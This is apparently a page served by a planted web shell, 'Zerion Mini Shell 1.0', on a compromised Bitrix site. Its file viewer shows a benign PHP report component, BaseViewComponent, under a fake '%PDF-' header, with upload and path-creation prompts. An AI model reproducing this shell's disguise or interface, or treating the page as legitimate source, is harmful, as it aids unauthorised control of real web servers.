%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/modules/report/lib/visualconstructor/views/component/
Upload File :
Create Path :
Current File : //home/bitrix/www/bitrix/modules/report/lib/visualconstructor/views/component/baseviewcomponent.php

<?php

namespace Bitrix\Report\VisualConstructor\Views\Component;

use Bitrix\Report\VisualConstructor\IReportSingleData;

/**
 * Class BaseComponent created for prevent duplicating code for all component widget views
 * @package Bitrix\Report\VisualConstructor\Views\Component
 */
abstract class BaseViewComponent extends \CBitrixComponent
{
	/**
	 * Common execute method for all views of type component.
	 * @return void
	 */
	public function executeComponent()
	{
		/**
		 * @see IReportSingleData::getSingleData()
		 */
		$this->arResult['CALCULATION_RESULT'] = $this->arParams['RESULT'];
		$this->arResult['WIDGET'] = $this->arParams['WIDGET'];
		$this->arResult['HEIGHT'] = $this->arParams['HEIGHT'];
		$this->arResult['WIDGET_COLOR'] = $this->arParams['WIDGET_COLOR'];
		$this->includeComponentTemplate();
	}
}

Zerion Mini Shell 1.0